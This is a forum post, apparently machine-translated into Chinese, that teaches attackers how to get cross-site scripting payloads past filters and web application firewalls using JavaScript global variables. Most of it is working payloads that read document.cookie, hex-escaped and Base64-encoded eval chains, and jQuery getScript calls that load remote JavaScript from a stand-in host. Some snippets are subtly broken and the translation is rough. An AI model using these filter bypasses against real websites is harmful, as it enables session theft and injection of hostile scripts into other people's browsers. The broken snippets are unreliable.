資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記
標(biāo)題: 使用JavaScript全局變量繞過XSS過濾器 [打印本頁]
作者: show0p 時(shí)間: 2019-6-13 19:15
標(biāo)題: 使用JavaScript全局變量繞過XSS過濾器
本帖最后由 show0p 于 2019-6-13 19:36 編輯
使用JavaScript全局變量繞過XSS過濾器
(, 下載次數(shù): 50)
所以你的目標(biāo)似乎很容易受到XSS的攻擊,但你利用它的所有嘗試都被過濾器,輸入驗(yàn)證或WAF規(guī)則阻止了......讓我們探討如何使用JavaScript全局變量繞過它們。
在本文中,我們一起發(fā)現(xiàn)當(dāng)我們與目標(biāo)網(wǎng)站之間存在過濾器或防火墻時(shí),我們有多少可能利用反射(甚至存儲(chǔ))的XSS。其中最有效的方法是使用全局變量一樣self,document,this,top或window。
目錄- 在開始之前
- 連接和十六進(jìn)制轉(zhuǎn)義序列
- Eval和Base64編碼的字符串
- jQuery的
- 迭代和Object.keys
- 結(jié)論
在開始之前什么是JavaScript全局變量?
一個(gè)JavaScript的全局變量聲明以外的功能或窗口對象聲明。它可以從任何功能訪問。https://www.javatpoint.com/javascript-global-variable
例如,讓我們考慮下面的PHP腳本:
echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";
如您所見,該name參數(shù)容易受到攻擊。但是在這個(gè)例子中,假設(shè)Web應(yīng)用程序有一個(gè)過濾器,它阻止使用正則表達(dá)式將“document.cookie”字符串用于任何用戶輸入/document[^\.]*.[^\.]*cookie/。我們來看看以下有效負(fù)載:
[td]有效載荷 | 描述 | 行動(dòng) |
document.cookie | 標(biāo)準(zhǔn) | 塊 |
document%20.%20cookie | 添加編碼空格char | 塊 |
document/*foo*/./*bar*/cookie | 添加評論 | 塊 |
在這種情況下,JavaScript全局變量可用于繞過它。我們有很多方法來訪問document.cookie來自window或self對象。例如,類似的東西window["document"]["cookie"]不會(huì)被阻止:
[td]有效載荷 | 描述 | 行動(dòng) |
window["document"]["cookie"] | 全局變量 | 通過 |
window["alert"](window["document"]["cookie"]); | 調(diào)用alert()從window | 通過 |
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"]); | 添加評論 | 通過 |
(, 下載次數(shù): 50)
正如你可以從上面的例子中看到,你甚至可以訪問任何JavaScript函數(shù)語法類似self["alert"]("foo");等于alert("foo");。這種語法為您提供了許多繞過許多弱過濾器的方法。顯然,您幾乎可以在任何地方使用評論,例如:
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
(, 下載次數(shù): 52)
關(guān)于“自我”對象您可以從以下位置調(diào)用任何JavaScript函數(shù):
1.連接和十六進(jìn)制轉(zhuǎn)義序列繞過WAF規(guī)則的最常見技術(shù)之一是在可能的情況下使用字符串連接。對于RCE來說也是如此,即使對于SQLi也是如此,對于JavaScript也是如此。
有很多WAF使用基于JavaScript函數(shù)名列表的過濾器。其中許多過濾器會(huì)阻止包含字符串的請求,例如alert()或String.fromCharCode()。由于全局變量,可以使用字符串連接或十六進(jìn)制轉(zhuǎn)義序列輕松繞過它們。例如:
/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
避免過濾器的更復(fù)雜的語法是用十六進(jìn)制轉(zhuǎn)義序列替換字符串。字符代碼低于的任何字符256都可以使用其十六進(jìn)制表示形式進(jìn)行轉(zhuǎn)義,并使用\x轉(zhuǎn)義序列:
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
(, 下載次數(shù): 55)
顯然,用它們的十六進(jìn)制表示替換“alert”,“document”和“cookie”字符串,可以調(diào)用之前看到的全局變量之一中的任何函數(shù):
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
(, 下載次數(shù): 58)
(, 下載次數(shù): 61)
2. Eval和Base64編碼的字符串如果WAF過濾我們的輸入,最困難的事情之一是動(dòng)態(tài)創(chuàng)建(和添加)一個(gè)調(diào)用遠(yuǎn)程JavaScript文件的腳本元素(類似<script src="http://example.com/evil.js" ...)。即使有微弱的過濾器,它的東西,不是那么容易的事,因?yàn)橛邢裨S多“地辨認(rèn)”的模式<script,src=,http://等等。
Base64 eval()可以幫助我們,特別是如果我們可以避免發(fā)送“eval”字符串作為用戶的輸入?匆幌孪旅娴睦樱
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
如前所示我使用“eval” self [“\ x65 \ x76 \ x61 \ x6c”]和“atob” 的十六進(jìn)制表示來解碼Base64字符串self [“\ x61 \ x74 \ x6f \ x62”]。在Base64字符串中,有以下腳本:
// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
var script = document.createElement('script');
// set the script element type attribute
script.setAttribute('type', 'text/javascript');
// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');
// append it to the head element
head.appendChild(script);
(, 下載次數(shù): 49)
3. jQuery正如本文所述,JavaScript為您提供了很多方法來逃避過濾器,這句話在使用jQuery等庫的現(xiàn)代網(wǎng)站上更為明顯。讓我們假設(shè)您不能使用self["eval"]它的十六進(jìn)制表示,您可以通過使用,例如,讓jQuery為您執(zhí)行此操作self["$"]["globalEval"]:
[td]有效載荷 | 行動(dòng) |
self["$"]["globalEval"]("alert(1)"); | 通過 |
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29"); | 通過 |
您甚至可以輕松地添加本地或遠(yuǎn)程腳本self["$"]["getScript"](url)。getScript使用GET HTTP請求從服務(wù)器加載JavaScript文件,然后執(zhí)行它。該腳本在全局上下文中執(zhí)行,因此它可以引用其他變量并使用jQuery函數(shù)。
[td]有效載荷 | 行動(dòng) |
self["$"]["getScript"]("https://example.com/my.js"); | 通過 |
(, 下載次數(shù): 57)
4.迭代和Object.keys該Object.keys()方法names以與普通循環(huán)相同的順序返回給定對象自己的屬性的數(shù)組。
(, 下載次數(shù): 53)
這意味著我們可以通過使用索引號而不是函數(shù)名來訪問任何JavaScript函數(shù)。例如,打開瀏覽器的Web控制臺并鍵入:
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
這為您提供了self對象內(nèi)“alert”函數(shù)的索引號。每個(gè)瀏覽器和每個(gè)打開的文檔(在我的示例中為5)的數(shù)字不同,但它可以使您無需使用其名稱即可調(diào)用任何函數(shù)。例如:
> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
(, 下載次數(shù): 58)
為了迭代內(nèi)部的所有函數(shù),self您可以遍歷該self對象并檢查該元素是否是一個(gè)函數(shù)typeof elm === "function"
f=""
for(i in self) {
if(typeof self === "function") {
f += i+", "
}
};
console.log(f)
(, 下載次數(shù): 57)
迭代自我內(nèi)部的所有功能如前所述,這個(gè)數(shù)字可以在不同的瀏覽器和文檔上更改,因此,如果不允許“alert”字符串并且不能使用上述任何方法,我們?nèi)绾握业健癮lert”索引號?JavaScript為您提供了很多機(jī)會(huì)。我們可以做的一件事是為變量(a)分配一個(gè)迭代self并找到alert索引號的函數(shù)。然后,我們可以使用test()正則表達(dá)式來查找“alert”,例如^a[rel]+t$:
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
(, 下載次數(shù): 57)
(, 下載次數(shù): 57)
結(jié)論消毒和驗(yàn)證,這兩個(gè)術(shù)語經(jīng)常被初學(xué)者開發(fā)者混淆。驗(yàn)證意味著驗(yàn)證正在提交的數(shù)據(jù)是否符合開發(fā)人員為特定輸入字段設(shè)置的規(guī)則或規(guī)則集。顯然,對用戶輸入的良好驗(yàn)證是Web應(yīng)用程序應(yīng)該執(zhí)行的基本操作。如果不可能,Web應(yīng)用程序防火墻可能是一個(gè)不錯(cuò)的選擇。
作者: zxcxzxc 時(shí)間: 2019-9-16 19:00
不錯(cuò)
歡迎光臨 資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記 (http://rigasin.com/) |
Powered by Discuz! X3.4 |